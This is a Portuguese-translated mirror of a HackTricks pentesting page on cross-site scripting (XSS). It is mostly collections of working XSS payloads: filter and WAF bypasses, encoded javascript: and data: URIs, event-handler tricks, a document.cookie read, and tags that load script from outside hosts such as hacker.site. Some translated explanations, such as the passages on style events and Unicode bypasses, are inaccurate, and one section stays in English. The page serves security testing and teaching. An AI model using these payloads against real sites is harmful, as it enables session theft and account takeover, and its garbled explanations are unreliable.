mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-19 09:34:03 +00:00
1794 lines
98 KiB
Markdown
1794 lines
98 KiB
Markdown
# XSS (Cross Site Scripting)
|
||
|
||
/<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">
|
||
|
||
**Dica de recompensa por bugs**: **cadastre-se** no **Intigriti**, uma plataforma premium de **recompensa por bugs criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje mesmo e comece a ganhar recompensas de até **$100.000**!
|
||
|
||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||
|
||
## Metodologia
|
||
|
||
1. Verifique se **qualquer valor que você controle** (_parâmetros_, _caminho_, _cabeçalhos_?, _cookies_?) está sendo **refletido** no HTML ou **usado** pelo código **JS**.
|
||
2. **Encontre o contexto** onde ele está sendo refletido/usado.
|
||
3. Se **refletido**
|
||
1. Verifique **quais símbolos você pode usar** e, dependendo disso, prepare o payload:
|
||
1. Em **HTML bruto**:
|
||
1. Você pode criar novas tags HTML?
|
||
2. Você pode usar eventos ou atributos que suportam o protocolo `javascript:`?
|
||
3. Você pode contornar proteções?
|
||
4. O conteúdo HTML está sendo interpretado por algum mecanismo JS do lado do cliente (_AngularJS_, _VueJS_, _Mavo_...), você pode abusar de uma [**Injeção de Modelo do Lado do Cliente**](../client-side-template-injection-csti.md).
|
||
5. Se você não pode criar tags HTML que executam código JS, você pode abusar de uma [**Marcação Pendente - Injeção HTML sem script**](../dangling-markup-html-scriptless-injection/).
|
||
2. Dentro de uma **tag HTML**:
|
||
1. Você pode sair para o contexto HTML bruto?
|
||
2. Você pode criar novos eventos/atributos para executar código JS?
|
||
3. O atributo em que você está preso suporta execução de JS?
|
||
4. Você pode contornar proteções?
|
||
3. Dentro do código **JavaScript**:
|
||
1. Você pode escapar da tag `<script>`?
|
||
2. Você pode escapar da string e executar um código JS diferente?
|
||
3. Seus inputs estão em literais de modelo \`\`?
|
||
4. Você pode contornar proteções?
|
||
4. Função **JavaScript** sendo **executada**
|
||
1. Você pode indicar o nome da função a ser executada. ex.: `?callback=alert(1)`
|
||
4. Se **usado**:
|
||
1. Você pode explorar um **DOM XSS**, preste atenção em como seu input é controlado e se seu **input controlado é usado por algum sink**.
|
||
|
||
Ao trabalhar em um XSS complexo, pode ser interessante saber sobre:
|
||
|
||
{% content-ref url="debugging-client-side-js.md" %}
|
||
[debugging-client-side-js.md](debugging-client-side-js.md)
|
||
{% endcontent-ref %}
|
||
|
||
## Valores refletidos
|
||
|
||
Para explorar com sucesso um XSS, a primeira coisa que você precisa encontrar é um **valor controlado por você que está sendo refletido** na página da web.
|
||
|
||
* **Refletido intermediariamente**: Se você descobrir que o valor de um parâmetro ou até mesmo o caminho está sendo refletido na página da web, você pode explorar um **XSS Refletido**.
|
||
* **Armazenado e refletido**: Se você descobrir que um valor controlado por você é salvo no servidor e é refletido toda vez que você acessa uma página, você pode explorar um **XSS Armazenado**.
|
||
* **Acessado via JS**: Se você descobrir que um valor controlado por você está sendo acessado usando JS, você pode explorar um **DOM XSS**.
|
||
|
||
## Contextos
|
||
|
||
Ao tentar explorar um XSS, a primeira coisa que você precisa saber é **onde seu input está sendo refletido**. Dependendo do contexto, você poderá executar código JS arbitrário de diferentes maneiras.
|
||
|
||
### HTML bruto
|
||
|
||
Se seu input está **refletido no HTML bruto** da página, você precisará abusar de alguma **tag HTML** para executar código JS: `<img , <iframe , <svg , <script` ... essas são apenas algumas das muitas tags HTML possíveis que você pode usar.\
|
||
Além disso, tenha em mente a [Injeção de Modelo do Lado do Cliente](../client-side-template-injection-csti.md).
|
||
|
||
### Dentro do atributo de tags HTML
|
||
|
||
Se seu input está refletido dentro do valor do atributo de uma tag, você pode tentar:
|
||
|
||
1. **Escapar do atributo e da tag** (então você estará no HTML bruto) e criar uma nova tag HTML para abusar: `"><img [...]`
|
||
2. Se você **puder escapar do atributo, mas não da tag** (`>` está codificado ou excluído), dependendo da tag, você pode **criar um evento** que execute código JS: `" autofocus onfocus=alert(1) x="`
|
||
3. Se você **não puder escapar do atributo** (`"` está sendo codificado ou excluído), então, dependendo de **qual atributo** seu valor está sendo refletido e **se você controla todo o valor ou apenas uma parte**, você poderá abusar dele. Por **exemplo**, se você controlar um evento como `onclick=`, poderá fazer com que ele execute código arbitrário quando clicado. Outro **exemplo** interessante é o atributo `href`, onde você pode usar o protocolo `javascript:` para executar código arbitrário: **`href="javascript:alert(1)"`**
|
||
4. Se seu input está refletido dentro de tags "**inexploráveis**", você pode tentar o truque do **`accesskey`** para abusar da vulnerabilidade (você precisará de algum tipo de engenharia social para explorar isso): **`" accesskey="x" onclick="alert(1)" x="`**
|
||
|
||
### Dentro do código JavaScript
|
||
|
||
Nesse caso, seu input é refletido entre as tags **`<script> [...] </script>`** de uma página HTML, dentro de um arquivo `.js` ou dentro de um atributo usando o protocolo **`javascript:`**:
|
||
|
||
* Se refletido entre as tags **`<script> [...] </script>`**, mesmo que seu input esteja dentro de qualquer tipo de aspas, você pode tentar injetar `</script>` e escapar desse contexto. Isso funciona porque o **navegador primeiro analisará as tags HTML** e depois o conteúdo, portanto, não perceberá que sua tag `</script>` injetada está dentro do código HTML.
|
||
* Se refletido **dentro de uma string JS** e o último truque não estiver funcionando, você precisará **sair** da string, **executar** seu código e **reconstruir** o código JS (se houver algum erro, ele não será executado):
|
||
* `'-alert(1)-'`
|
||
* `';-alert(1)//`
|
||
* `\';alert(1)//`
|
||
* Se refletido dentro de literais de modelo, você pode **incorporar expressões JS** usando a sintaxe `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
|
||
* A **codificação Unicode** funciona para escrever **código JavaScript válido**:
|
||
```javascript
|
||
\u{61}lert(1)
|
||
\u0061lert(1)
|
||
\u{0061}lert(1)
|
||
```
|
||
#### Elevação de Javascript
|
||
|
||
A Elevação de Javascript refere-se à oportunidade de **declarar funções, variáveis ou classes depois de serem usadas**.
|
||
|
||
Portanto, se você tiver cenários em que pode **injetar código JS depois de um objeto não declarado** ser usado, você pode **corrigir a sintaxe** declarando-o (para que seu código seja executado em vez de gerar um erro):
|
||
```javascript
|
||
// The function vulnerableFunction is not defined
|
||
vulnerableFunction('test', '<INJECTION>');
|
||
// You can define it in your injection to execute JS
|
||
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
|
||
'-alert(1)-''); function vulnerableFunction(a,b){return 1};
|
||
|
||
//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
|
||
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
|
||
```
|
||
|
||
```javascript
|
||
// If a variable is not defined, you could define it in the injection
|
||
// In the following example var a is not defined
|
||
function myFunction(a,b){
|
||
return 1
|
||
};
|
||
myFunction(a, '<INJECTION>')
|
||
|
||
//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
|
||
test'); var a = 1; alert(1);
|
||
```
|
||
|
||
```javascript
|
||
// If an undeclared class is used, you cannot declare it AFTER being used
|
||
var variable = new unexploitableClass();
|
||
<INJECTION>
|
||
// But you can actually declare it as a function, being able to fix the syntax with something like:
|
||
function unexploitableClass() {
|
||
return 1;
|
||
}
|
||
alert(1);
|
||
```
|
||
|
||
```javascript
|
||
// Properties are not hoisted
|
||
// So the following examples where the 'cookie' attribute doesn´t exist
|
||
// cannot be fixed if you can only inject after that code:
|
||
test.cookie('leo','INJECTION')
|
||
test['cookie','injection']
|
||
```
|
||
Para obter mais informações sobre o Hoisting do JavaScript, verifique: [https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios](https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios)
|
||
|
||
### Função JavaScript
|
||
|
||
Várias páginas da web têm endpoints que **aceitam como parâmetro o nome da função a ser executada**. Um exemplo comum de se ver na prática é algo como: `?callback=callbackFunc`.
|
||
|
||
Uma boa maneira de descobrir se algo fornecido diretamente pelo usuário está tentando ser executado é **modificar o valor do parâmetro** (por exemplo, para 'Vulnerable') e procurar no console por erros como:
|
||
|
||
![](<../../.gitbook/assets/image (651) (2).png>)
|
||
|
||
Caso esteja vulnerável, você pode ser capaz de **disparar um alerta** apenas enviando o valor: **`?callback=alert(1)`**. No entanto, é muito comum que esses endpoints **validem o conteúdo** para permitir apenas letras, números, pontos e sublinhados (**`[\w\._]`**).
|
||
|
||
No entanto, mesmo com essa limitação, ainda é possível realizar algumas ações. Isso ocorre porque você pode usar esses caracteres válidos para **acessar qualquer elemento no DOM**:
|
||
|
||
![](<../../.gitbook/assets/image (662).png>)
|
||
|
||
Algumas funções úteis para isso:
|
||
```
|
||
firstElementChild
|
||
lastElementChild
|
||
nextElementSibiling
|
||
lastElementSibiling
|
||
parentElement
|
||
```
|
||
Você também pode tentar **acionar funções Javascript** diretamente: `obj.sales.delOrders`.
|
||
|
||
No entanto, geralmente os endpoints que executam a função indicada são endpoints sem muito DOM interessante, **outras páginas na mesma origem** terão um DOM **mais interessante** para realizar mais ações.
|
||
|
||
Portanto, para **abusar dessa vulnerabilidade em um DOM diferente**, foi desenvolvida a exploração de **Execução de Método na Mesma Origem (SOME)**:
|
||
|
||
{% content-ref url="some-same-origin-method-execution.md" %}
|
||
[some-same-origin-method-execution.md](some-same-origin-method-execution.md)
|
||
{% endcontent-ref %}
|
||
|
||
### DOM
|
||
|
||
Há **código JS** que está usando de forma **insegura** alguns **dados controlados por um atacante**, como `location.href`. Um atacante pode abusar disso para executar código JS arbitrário.
|
||
|
||
{% content-ref url="dom-xss.md" %}
|
||
[dom-xss.md](dom-xss.md)
|
||
{% endcontent-ref %}
|
||
|
||
### **XSS Universal**
|
||
|
||
Esse tipo de XSS pode ser encontrado **em qualquer lugar**. Eles não dependem apenas da exploração do cliente de um aplicativo da web, mas de **qualquer** **contexto**. Esse tipo de **execução arbitrária de JavaScript** pode até ser abusado para obter **RCE**, **ler** **arquivos** **arbitrários** em clientes e servidores, e muito mais.\
|
||
Alguns **exemplos**:
|
||
|
||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
|
||
{% endcontent-ref %}
|
||
|
||
{% content-ref url="../../network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/" %}
|
||
[xss-to-rce-electron-desktop-apps](../../network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/)
|
||
{% endcontent-ref %}
|
||
|
||
## Bypass de WAF codificando imagem
|
||
|
||
![de https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](../../.gitbook/assets/eaubb2ex0aerank.jpg)
|
||
|
||
## Injetando dentro de HTML bruto
|
||
|
||
Quando sua entrada é refletida **dentro da página HTML** ou você pode escapar e injetar código HTML nesse contexto, a **primeira** coisa que você precisa fazer é verificar se pode abusar do `<` para criar novas tags: apenas tente **refletir** esse **caractere** e verifique se ele está sendo **codificado em HTML** ou **removido** ou se está sendo **refletido sem alterações**. **Somente nesse último caso você poderá explorar esse caso**.\
|
||
Para esses casos, também **tenha em mente** [**Injeção de Modelo do Lado do Cliente**](../client-side-template-injection-csti.md)**.**\
|
||
_**Observação: Um comentário HTML pode ser fechado usando**** ****`-->`**** ****ou**** ****`--!>`**_
|
||
|
||
Nesse caso, e se não houver uso de listas negras/listas brancas, você pode usar payloads como:
|
||
```javascript
|
||
<script>alert(1)</script>
|
||
<img src=x onerror=alert(1) />
|
||
<svg onload=alert('XSS')>
|
||
```
|
||
Mas, se estiver sendo utilizado um sistema de lista negra/branca de tags/atributos, você precisará **forçar a entrada para descobrir quais tags** você pode criar.\
|
||
Depois de **localizar quais tags são permitidas**, você precisará **forçar a entrada de atributos/eventos** dentro das tags válidas encontradas para ver como pode atacar o contexto.
|
||
|
||
### Forçando tags/eventos
|
||
|
||
Acesse [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) e clique em _**Copiar tags para a área de transferência**_. Em seguida, envie todas elas usando o Burp Intruder e verifique se alguma tag não foi identificada como maliciosa pelo WAF. Depois de descobrir quais tags você pode usar, você pode **forçar a entrada de todos os eventos** usando as tags válidas (na mesma página da web, clique em _**Copiar eventos para a área de transferência**_ e siga o mesmo procedimento anterior).
|
||
|
||
### Tags personalizadas
|
||
|
||
Se você não encontrou nenhuma tag HTML válida, pode tentar **criar uma tag personalizada** e executar código JS com o atributo `onfocus`. Na solicitação XSS, você precisa terminar a URL com `#` para fazer a página **focar nesse objeto** e **executar** o código:
|
||
```
|
||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||
```
|
||
### Bypassando Listas Negras
|
||
|
||
Se estiver sendo utilizada alguma lista negra, você pode tentar contorná-la com alguns truques bobos:
|
||
```javascript
|
||
//Random capitalization
|
||
<script> --> <ScrIpT>
|
||
<img --> <ImG
|
||
|
||
//Double tag, in case just the first match is removed
|
||
<script><script>
|
||
<scr<script>ipt>
|
||
<SCRscriptIPT>alert(1)</SCRscriptIPT>
|
||
|
||
//You can substitude the space to separate attributes for:
|
||
/
|
||
/*%00/
|
||
/%00*/
|
||
%2F
|
||
%0D
|
||
%0C
|
||
%0A
|
||
%09
|
||
|
||
//Unexpected parent tags
|
||
<svg><x><script>alert('1')</x>
|
||
|
||
//Unexpected weird attributes
|
||
<script x>
|
||
<script a="1234">
|
||
<script ~~~>
|
||
<script/random>alert(1)</script>
|
||
<script ///Note the newline
|
||
>alert(1)</script>
|
||
<scr\x00ipt>alert(1)</scr\x00ipt>
|
||
|
||
//Not closing tag, ending with " <" or " //"
|
||
<iframe SRC="javascript:alert('XSS');" <
|
||
<iframe SRC="javascript:alert('XSS');" //
|
||
|
||
//Extra open
|
||
<<script>alert("XSS");//<</script>
|
||
|
||
//Just weird an unexpected, use your imagination
|
||
<</script/script><script>
|
||
<input type=image src onerror="prompt(1)">
|
||
|
||
//Using `` instead of parenthesis
|
||
onerror=alert`1`
|
||
|
||
//Use more than one
|
||
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
|
||
```
|
||
### Bypassando o limite de tamanho (pequenos XSSs)
|
||
|
||
{% hint style="info" %}
|
||
**Mais XSSs pequenos para diferentes ambientes** o payload [**pode ser encontrado aqui**](https://github.com/terjanq/Tiny-XSS-Payloads) e [**aqui**](https://tinyxss.terjanq.me).
|
||
{% endhint %}
|
||
```html
|
||
<!-- Taken from the blog of Jorge Lajara -->
|
||
<svg/onload=alert``>
|
||
<script src=//aa.es>
|
||
<script src=//℡㏛.pw>
|
||
```
|
||
O último usa 2 caracteres unicode que se expandem para 5: telsr\
|
||
Mais desses caracteres podem ser encontrados [aqui](https://www.unicode.org/charts/normalization/).\
|
||
Para verificar em quais caracteres estão decompostos, verifique [aqui](https://www.compart.com/en/unicode/U+2121).
|
||
|
||
### Clique XSS - Clickjacking
|
||
|
||
Se, para explorar a vulnerabilidade, você precisa que o **usuário clique em um link ou um formulário** com dados preenchidos antecipadamente, você pode tentar [**abusar do Clickjacking**](../clickjacking.md#xss-clickjacking) (se a página for vulnerável).
|
||
|
||
### Impossível - Marcação Pendente
|
||
|
||
Se você acha que **é impossível criar uma tag HTML com um atributo para executar código JS**, você deve verificar [**Marcação Pendente**](../dangling-markup-html-scriptless-injection/) porque você pode **explorar** a vulnerabilidade **sem** executar código **JS**.
|
||
|
||
## Injetando dentro da tag HTML
|
||
|
||
### Dentro da tag/escapando do valor do atributo
|
||
|
||
Se você estiver **dentro de uma tag HTML**, a primeira coisa que você pode tentar é **escapar** da tag e usar algumas das técnicas mencionadas na [seção anterior](./#injecting-inside-raw-html) para executar código JS.\
|
||
Se você **não pode escapar da tag**, você pode criar novos atributos dentro da tag para tentar executar código JS, por exemplo, usando uma carga útil como (_observe que neste exemplo as aspas duplas são usadas para escapar do atributo, você não precisará delas se a entrada for refletida diretamente dentro da tag_):
|
||
```bash
|
||
" autofocus onfocus=alert(document.domain) x="
|
||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||
```
|
||
**Eventos de estilo**
|
||
|
||
Os eventos de estilo são uma técnica comum usada em ataques de Cross-Site Scripting (XSS). Esses ataques exploram a capacidade de injetar código malicioso em um site, permitindo que um invasor execute scripts arbitrários no navegador do usuário.
|
||
|
||
Os eventos de estilo são acionados quando ocorre uma mudança no estilo de um elemento HTML. Eles podem ser usados para executar código JavaScript malicioso, aproveitando os eventos de estilo disponíveis, como `onmouseover`, `onload`, `onerror`, entre outros.
|
||
|
||
Essa técnica de ataque é particularmente perigosa porque não requer interação direta do usuário. O código malicioso é executado automaticamente quando o evento de estilo é acionado, permitindo que o invasor roube informações confidenciais, redirecione o usuário para sites maliciosos ou execute outras ações prejudiciais.
|
||
|
||
Para proteger um site contra ataques de eventos de estilo, é importante implementar práticas de segurança, como a validação adequada de entrada de dados e a sanitização de saída. Além disso, é recomendável usar um mecanismo de segurança, como um Web Application Firewall (WAF), para detectar e bloquear tentativas de XSS.
|
||
|
||
É fundamental que os desenvolvedores estejam cientes dessa técnica de ataque e tomem medidas para mitigar os riscos associados a ela. A conscientização sobre os eventos de estilo e a implementação de práticas de segurança adequadas são essenciais para garantir a proteção dos usuários e a integridade dos sistemas.
|
||
```python
|
||
<p style="animation: x;" onanimationstart="alert()">XSS</p>
|
||
<p style="animation: x;" onanimationend="alert()">XSS</p>
|
||
|
||
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
|
||
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
|
||
#moving your mouse anywhere over the page (0-click-ish):
|
||
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
|
||
```
|
||
### Dentro do atributo
|
||
|
||
Mesmo que você **não consiga escapar do atributo** (`"` está sendo codificado ou excluído), dependendo de **qual atributo** seu valor está sendo refletido, **se você controla todo o valor ou apenas uma parte**, você poderá abusar dele. Por **exemplo**, se você controla um evento como `onclick=`, você poderá fazer com que ele execute código arbitrário quando clicado.\
|
||
Outro **exemplo** interessante é o atributo `href`, onde você pode usar o protocolo `javascript:` para executar código arbitrário: **`href="javascript:alert(1)"`**
|
||
|
||
**Burlando dentro do evento usando codificação HTML/codificação de URL**
|
||
|
||
Os caracteres **codificados em HTML** dentro do valor dos atributos das tags HTML são **decodificados em tempo de execução**. Portanto, algo como o seguinte será válido (o payload está em negrito): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||
|
||
Observe que **qualquer tipo de codificação HTML é válido**:
|
||
```javascript
|
||
//HTML entities
|
||
'-alert(1)-'
|
||
//HTML hex without zeros
|
||
'-alert(1)-'
|
||
//HTML hex with zeros
|
||
'-alert(1)-'
|
||
//HTML dec without zeros
|
||
'-alert(1)-'
|
||
//HTML dec with zeros
|
||
'-alert(1)-'
|
||
|
||
<a href="javascript:var a=''-alert(1)-''">a</a>
|
||
<a href="javascript:alert(2)">a</a>
|
||
<a href="javascript:alert(3)">a</a>
|
||
```
|
||
**Observação: a codificação de URL também funcionará:**
|
||
```python
|
||
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
|
||
```
|
||
**Bypassar evento interno usando codificação Unicode**
|
||
|
||
Às vezes, ao tentar explorar uma vulnerabilidade de Cross-Site Scripting (XSS), você pode encontrar filtros que bloqueiam certos caracteres ou palavras-chave. No entanto, é possível contornar esses filtros usando a codificação Unicode.
|
||
|
||
A codificação Unicode permite representar caracteres especiais usando sequências de escape. Ao usar a codificação Unicode, você pode substituir caracteres bloqueados por suas representações Unicode correspondentes.
|
||
|
||
Por exemplo, se o caractere "<" estiver bloqueado, você pode substituí-lo por sua representação Unicode "<". Dessa forma, o filtro não reconhecerá o caractere bloqueado e permitirá que ele passe.
|
||
|
||
Aqui está um exemplo de como usar a codificação Unicode para contornar um filtro que bloqueia o caractere "<":
|
||
|
||
```html
|
||
<script>
|
||
var payload = '\u003cscript\u003ealert("XSS")\u003c/script\u003e';
|
||
document.getElementById('input').value = payload;
|
||
</script>
|
||
```
|
||
|
||
Neste exemplo, o caractere "<" é substituído por "\u003c" e o caractere ">" é substituído por "\u003e". Isso permite que o código JavaScript seja executado sem ser bloqueado pelo filtro.
|
||
|
||
Lembre-se de que a codificação Unicode pode variar dependendo do contexto e do conjunto de caracteres usado. Portanto, é importante entender como o filtro está sendo aplicado e adaptar a codificação Unicode de acordo.
|
||
|
||
Ao usar essa técnica, é essencial garantir que você esteja agindo dentro dos limites legais e éticos. O objetivo é identificar e corrigir vulnerabilidades, não causar danos ou violar a privacidade de outras pessoas.
|
||
```javascript
|
||
//For some reason you can use unicode to encode "alert" but not "(1)"
|
||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
|
||
```
|
||
### Protocolos Especiais Dentro do Atributo
|
||
|
||
Aqui você pode usar os protocolos **`javascript:`** ou **`data:`** em alguns lugares para **executar código JS arbitrário**. Alguns exigirão interação do usuário, outros não.
|
||
```javascript
|
||
javascript:alert(1)
|
||
JavaSCript:alert(1)
|
||
javascript:%61%6c%65%72%74%28%31%29 //URL encode
|
||
javascript:alert(1)
|
||
javascript:alert(1)
|
||
javascript:alert(1)
|
||
javascriptΪlert(1)
|
||
java //Note the new line
|
||
script:alert(1)
|
||
|
||
data:text/html,<script>alert(1)</script>
|
||
DaTa:text/html,<script>alert(1)</script>
|
||
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
|
||
data:text/html;charset=UTF-8,<script>alert(1)</script>
|
||
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
|
||
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
|
||
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
|
||
```
|
||
**Locais onde você pode injetar esses protocolos**
|
||
|
||
**Em geral**, o protocolo `javascript:` pode ser **usado em qualquer tag que aceite o atributo `href`** e na **maioria** das tags que aceitam o **atributo `src`** (exceto `<img`).
|
||
```markup
|
||
<a href="javascript:alert(1)">
|
||
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
||
<form action="javascript:alert(1)"><button>send</button></form>
|
||
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
|
||
<object data=javascript:alert(3)>
|
||
<iframe src=javascript:alert(2)>
|
||
<embed src=javascript:alert(1)>
|
||
|
||
<object data="data:text/html,<script>alert(5)</script>">
|
||
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
|
||
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
|
||
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
|
||
|
||
//Special cases
|
||
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
|
||
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
|
||
<iframe srcdoc="<svg onload=alert(4);>">
|
||
```
|
||
**Outros truques de ofuscação**
|
||
|
||
_**Neste caso, a codificação HTML e o truque de codificação Unicode da seção anterior também são válidos, pois você está dentro de um atributo.**_
|
||
```javascript
|
||
<a href="javascript:var a=''-alert(1)-''">
|
||
```
|
||
Além disso, há outro **truque interessante** para esses casos: **Mesmo que sua entrada dentro de `javascript:...` esteja sendo codificada em URL, ela será decodificada antes de ser executada.** Portanto, se você precisar **escapar** da **string** usando uma **aspas simples** e perceber que **ela está sendo codificada em URL**, lembre-se de que **não importa**, ela será **interpretada** como uma **aspas simples** durante o **tempo de execução**.
|
||
```javascript
|
||
'-alert(1)-'
|
||
%27-alert(1)-%27
|
||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||
```
|
||
Observe que se você tentar **usar ambos** `URLencode + HTMLencode` em qualquer ordem para codificar a **carga útil**, isso **não funcionará**, mas você pode **misturá-los dentro da carga útil**.
|
||
|
||
**Usando codificação Hexadecimal e Octal com `javascript:`**
|
||
|
||
Você pode usar a codificação **Hexadecimal** e **Octal** dentro do atributo `src` do `iframe` (pelo menos) para declarar **tags HTML para executar JS**:
|
||
```javascript
|
||
//Encoded: <svg onload=alert(1)>
|
||
// This WORKS
|
||
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
|
||
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
|
||
|
||
//Encoded: alert(1)
|
||
// This doesn't work
|
||
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
|
||
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
|
||
```
|
||
### Reverse tab nabbing
|
||
|
||
Reverse tab nabbing is a type of cross-site scripting (XSS) attack that targets users who have multiple tabs open in their web browser. The attack takes advantage of the trust users have in the websites they visit.
|
||
|
||
When a user opens a new tab and navigates to a different website, the original website can still execute JavaScript code in the background. This allows an attacker to modify the content of the original website and display a phishing page or malicious content.
|
||
|
||
To execute a reverse tab nabbing attack, the attacker typically embeds malicious code in a link or advertisement on a website. When the user clicks on the link or advertisement and opens a new tab, the attacker's code runs in the background and modifies the content of the original tab.
|
||
|
||
The modified content may include a fake login form that captures the user's credentials, or it may redirect the user to a phishing website that steals sensitive information.
|
||
|
||
To protect against reverse tab nabbing attacks, users should be cautious when clicking on links or advertisements, especially when they have multiple tabs open. It is also important to keep web browsers and security software up to date to mitigate the risk of such attacks.
|
||
|
||
Pentesters can help identify and mitigate reverse tab nabbing vulnerabilities by conducting thorough security assessments and recommending appropriate security measures to protect against XSS attacks.
|
||
```javascript
|
||
<a target="_blank" rel="opener"
|
||
```
|
||
Se você pode injetar qualquer URL em uma tag **`<a href=`** arbitrária que contenha os atributos **`target="_blank"`** e **`rel="opener"`**, verifique a **página a seguir para explorar esse comportamento**:
|
||
|
||
{% content-ref url="../reverse-tab-nabbing.md" %}
|
||
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Bypass em Manipuladores de Eventos
|
||
|
||
Primeiro, verifique esta página ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) para obter informações úteis sobre **manipuladores de eventos "on"**.\
|
||
Caso haja uma lista negra que impeça você de criar esses manipuladores de eventos, você pode tentar as seguintes bypasses:
|
||
```javascript
|
||
<svg onload%09=alert(1)> //No safari
|
||
<svg %09onload=alert(1)>
|
||
<svg %09onload%20=alert(1)>
|
||
<svg onload%09%20%28%2c%3b=alert(1)>
|
||
|
||
//chars allowed between the onevent and the "="
|
||
IExplorer: %09 %0B %0C %020 %3B
|
||
Chrome: %09 %20 %28 %2C %3B
|
||
Safari: %2C %3B
|
||
Firefox: %09 %20 %28 %2C %3B
|
||
Opera: %09 %20 %2C %3B
|
||
Android: %09 %20 %28 %2C %3B
|
||
```
|
||
### XSS em "Tags não exploráveis" (input oculto, link, canonical, meta)
|
||
|
||
A partir [**daqui**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags), agora é possível abusar de inputs ocultos com:
|
||
```html
|
||
<button popvertarget="x">Click me</button>
|
||
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
|
||
```
|
||
E nos **meta tags**:
|
||
```html
|
||
<!-- Injection inside meta attribute-->
|
||
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
|
||
<!-- Existing target-->
|
||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||
<div popover id="newsletter">Newsletter popup</div>
|
||
```
|
||
